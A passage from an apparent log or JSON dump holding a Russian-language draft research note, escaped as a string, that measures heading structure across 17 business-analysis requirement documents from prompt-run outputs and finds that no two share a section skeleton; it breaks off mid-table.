[INFO]         \"name\": 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    \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-08\\ntemperature: 0.1\\ntype: research\\ncontext: [ba, requirements, mango, runs, artifact-structure, empirical-snapshot, golden-set]\\nmethod: corpus-measurement + heading-slot-mapping\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561\\\"\\nbased_on:\\n  - research/ba-requirements/exp/ba-micro-structure-561/artifact-structure.json\\nrelated_artifacts:\\n  - \\\"research/ba-requirements/artifact-micro-structure/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/artifact-micro-structure/20-taxonomy.md\\\"\\n  - \\\"research/ba-requirements/exp/ba-micro-structure-561/README.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557\\\"\\n---\\n\\n# \u0421\u043d\u0438\u043c\u043e\u043a \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0411\u0410-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 2026-09-08\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 **\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435** \u043c\u0438\u043a\u0440\u043e-\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432,\\n> \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b `runs/` \u043e\u0442\u0434\u0430\u044e\u0442 \u043a\u0430\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0418\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u044f, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f\\n> \u0441\u043b\u043e\u0442\u043e\u0432 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u043c\u043e\u0434\u0443\u043b\u044c\\n> [`research/ba-requirements/artifact-micro-structure/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/00-introduction.md).\\n> \u0421\u043d\u0438\u043c\u043e\u043a \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u043c\u043e\u0434\u0443\u043b\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u0440\u043f\u0443\u0441 \u0440\u0430\u0441\u0442\u0451\u0442: \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0447\u0438\u0441\u043b\u0430\\n> \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438, \u0438 \u044d\u0442\u043e \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e.\\n\\n## 1. \u0427\u0442\u043e \u0438 \u043a\u0430\u043a \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`. \u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c:\\n[`exp/ba-micro-structure-561/measure-artifact-structure.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/measure-artifact-structure.py).\\n\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 `##` \u043a\u0430\u0436\u0434\u043e\u0433\u043e markdown-\u0444\u0430\u0439\u043b\u0430 \u0432 `outputs/`, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u0438\u0445 \u043a\\n\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0435 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442 \u0432 **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0442\u043e\u0432** (`S-*`) \u043f\u043e\\n\u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\\n\u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u0433\u043e \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0438, \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u043e\u0439\\n`SLOT_RULES` \u0432 \u0448\u0430\u043f\u043a\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e.\\n\\n\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u2192 \u0441\u043b\u043e\u0442\u00bb \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 **\u0444\u043e\u0440\u043c\u0443** \u043e\u0442 **\u0441\u043c\u044b\u0441\u043b\u0430**: \u0434\u0432\u0430\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438 (`1. \u0413\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439` \u0438 `1. \u0422\u0435\u0440\u043c\u0438\u043d\u044b \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f`)\\n\u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0442 `S-GLOSSARY`, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435\\n\u043d\u0438\u0436\u0435, \u2014 \u044d\u0442\u043e \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u0441\u043c\u044b\u0441\u043b\u0443, \u0430 \u043d\u0435 \u043f\u043e \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432.\\n\\n## 2. \u0421\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u0430 125 \u00ab\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438\u00bb \u0438 72 % \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432\\n\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u0420\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043f\u0440\u0438\u0447\u0438\u043d\u0443: \u0432 `outputs/` \u043b\u0435\u0436\u0430\u0442 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\\n\u0444\u0430\u0439\u043b\u043e\u0432, \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0442\u0443 \u0436\u0435 \u043b\u0435\u043a\u0441\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0447\u0442\u043e \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 `classify_doc_kind()` \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u0438\u0445; \u0432\u0441\u0435 \u0442\u0440\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\\n`artifact-structure.json`, \u043d\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0442\u0440\u0435\u0442\u044c\u0435\u043c\u0443.\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u0424\u0430\u0439\u043b\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e |\\n| --- | --- | --- |\\n| `run-journal` | 63 | \u0436\u0443\u0440\u043d\u0430\u043b \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u044d\u043f\u0438\u0437\u043e\u0434\u044b, \u0432\u0435\u0440\u0434\u0438\u043a\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e |\\n| `analysis-note` | 45 | \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 |\\n| `requirement-document` | 17 | **\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0411\u0410** \u2014 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0437\u0430\u043c\u0435\u0440\u0430 |\\n\\n\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043e 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432; markdown-\u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043b\u0435\u043a\u0441\u0438\u043a\u043e\u0439 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u2014 125.\\n\\n## 3. \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0444\u0430\u043a\u0442: 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432\\n\\n\u0421\u043a\u0435\u043b\u0435\u0442 \u2014 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0421\u0440\u0435\u0434\u0438 17\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 **\u043d\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u043f\u0430\u0440\u044b \u0441 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u043c \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u043c**.\\n\u0421\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 \u0438 \u043f\u043e\u0441\u043b\u0435 \u043e\u0433\u0440\u0443\u0431\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0441\u043b\u043e\u0442\u043e\u0432.\\n\\n\u042d\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u0438\u0435 \u0437\u0430\u0434\u0430\u0447: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f **\u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438** \u0438\\n**\u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430**, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e\u043c \u0432\u0445\u043e\u0434\u0435.\\n\\n| \u0413\u0440\u0443\u043f\u043f\u0430 | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 | \u0420\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 | \u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 | \u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 |\\n| --- | --- | --- | --- | --- |\\n| BCREQ-1074 (RUN-0063, RUN-0064, RUN-0067) | 3 | 3 | 0.69 | 0.571 |\\n| `bcreq-1059-multichannel-slots-limits` | 2 | 2 | 0.286 | 0.286 |\\n| `bcreq-1069-restricted-api-key` | 2 | 2 | 0.2 | 0.2 |\\n| `feasibility-assessment-tender-*` | 2 | 2 | 0.167 | 0.167 |\\n| `multichannel-agent-workload` | 2 | 2 | 0.333 | 0.333 |\\n\\n\u0413\u0440\u0443\u043f\u043f\u0430 BCREQ-1074 \u2014 \u0441\u0430\u043c\u043e\u0435 \u0447\u0438\u0441\u0442\u043e\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435: \u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435 \u0437\u0430\u0434\u0430\u0447\u0430,\\n\u0442\u0440\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u0442\u0440\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0418\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432:\\n\\n| # | [RUN-0063](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0063) | [RUN-0064](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0064) | [RUN-0067](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0067) |\\n| --- | --- | --- | --- |\\n| 1 | \u0413\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 | \u0413\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 | \u0422\u0435\u0440\u043c\u0438\u043d\u044b \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f |\\n| 2 | \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0446\u0435\u043b\u0438 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 | \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0446\u0435\u043b\u044c \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f | \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0446\u0435\u043b\u044c, \u0437\u0430\u0434\u0430\u0447\u0430 |\\n| 3 | \u041c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0445 \u0424\u0422 | \u041c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0445 \u0424\u0422 | \u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f |\\n| 4 | \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f | **UI-\u043b\u043e\u0433\u0438\u043a\u0430 \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f** | \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f |\\n| 5 | \u041d\u0435\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f | \u041d\u0435\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f | \u041d\u0435\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f |\\n| 6 | \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f | \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f | \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 |\\n| 7 | \u2014 | \u2014 | \u0412\u043e\u043f\u0440\u043e\u0441\u044b \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0443 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 |\\n\\n**\u0410\u0440\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u0430, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u0441\u043b\u043e\u0442\u043e\u0432 \u2014 \u043d\u0435\u0442.** \u0428\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442\u0441\u044f\\n\u0432 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0438\u0437 \u0442\u0440\u0451\u0445, \u043d\u043e \u0440\u0430\u0437\u0434\u0435\u043b 3 \u0432 RUN-0067 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 (\u0440\u0435\u0448\u0435\u043d\u0438\u0435\\n\u0432\u043c\u0435\u0441\u0442\u043e \u043c\u043e\u0434\u0435\u043b\u0438 \u0424\u0422), \u0440\u0430\u0437\u0434\u0435\u043b 4 \u0432 RUN-0064 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0438 \u043d\u0430\\nUI, \u0440\u0430\u0437\u0434\u0435\u043b 6 \u0432 \u0442\u0440\u0451\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043d\u0435\u0441\u0451\u0442 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043c\u044b\u0441\u043b\u0430.\\n\\n## 4. \u0421\u043b\u043e\u0442\u044b: \u0447\u0430\u0441\u0442\u043e\u0442\u0430 \u0438 \u043f\u043e\u0437\u0438\u0446\u0438\u044f\\n\\n| \u0421\u043b\u043e\u0442 | \u0420\u0430\u0437\u0434\u0435\u043b\u043e\u0432 | \u0420\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 |\\n| --- | --- | --- |\\n| `S-OTHER` (\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f) | 33 | 27 |\\n| `S-SCENARIO` | 14 | 14 |\\n| `S-FR` | 14 | 10 |\\n| `S-PROBLEM` | 10 | 8 |\\n| `S-LIMITS` | 9 | 7 |\\n| `S-SOLUTION` | 8 | 6 |\\n| `S-OPEN` | 7 | 5 |\\n| `S-GLOSSARY` | 6 | 4 |\\n| `S-TRACE` | 5 | 3 |\\n| `S-AC` | 1 | 1 |\\n| `S-UI` | 1 | 1 |\\n\\n\u0414\u0432\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f:\\n\\n- **`S-SCENARIO`: 14 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, 14 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439.** \u041d\u0438 \u043e\u0434\u0438\u043d \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0439 \u0441\u043b\u043e\u0442\\n  \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438. \u041f\u043e\u0434\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u2014 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442.\\n- **`S-UI` = 1 \u0438 `S-AC` = 1 \u043d\u0430 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432.** UI-\u043b\u043e\u0433\u0438\u043a\u0430 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u0440\u0438\u0451\u043c\u043a\u0438\\n  \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u0433\u0434\u0435 \u043d\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u044b \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b. \u041e\u043d\u0438 \u043d\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435 \u2014\\n  \u043e\u043d\u0438 \u0440\u0430\u0441\u0442\u0432\u043e\u0440\u0435\u043d\u044b \u0432\u043d\u0443\u0442\u0440\u0438 `S-FR`/`S-SCENARIO`. \u042d\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435\\n  \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 issue #561 \u043e \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0438 \u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0432\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00ab\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\u00bb.\\n\\n\u041f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u0442 \u0436\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u044c: \u043f\u043e\u0437\u0438\u0446\u0438\u0438 1\u20132 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\\n\u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b (`S-GLOSSARY` 5 \u0438\u0437 17 \u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 1, `S-PROBLEM` 4 \u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 2),\\n\u0434\u0430\u043b\u044c\u0448\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u2014 \u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 4 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u043d\u044b\u0445\\n\u0441\u043b\u043e\u0442\u043e\u0432.\\n\\n## 5. \u0424\u043e\u0440\u043c\u0430\u0442\u044b\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 | \u041f\u0440\u0438\u0437\u043d\u0430\u043a |\\n| --- | --- | --- |\\n| `F-NARRATIVE` | 7 | \u043d\u0435\u0442 \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u043f\u043e\u0432\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 |\\n| `F-CLASSIC` | 6 | 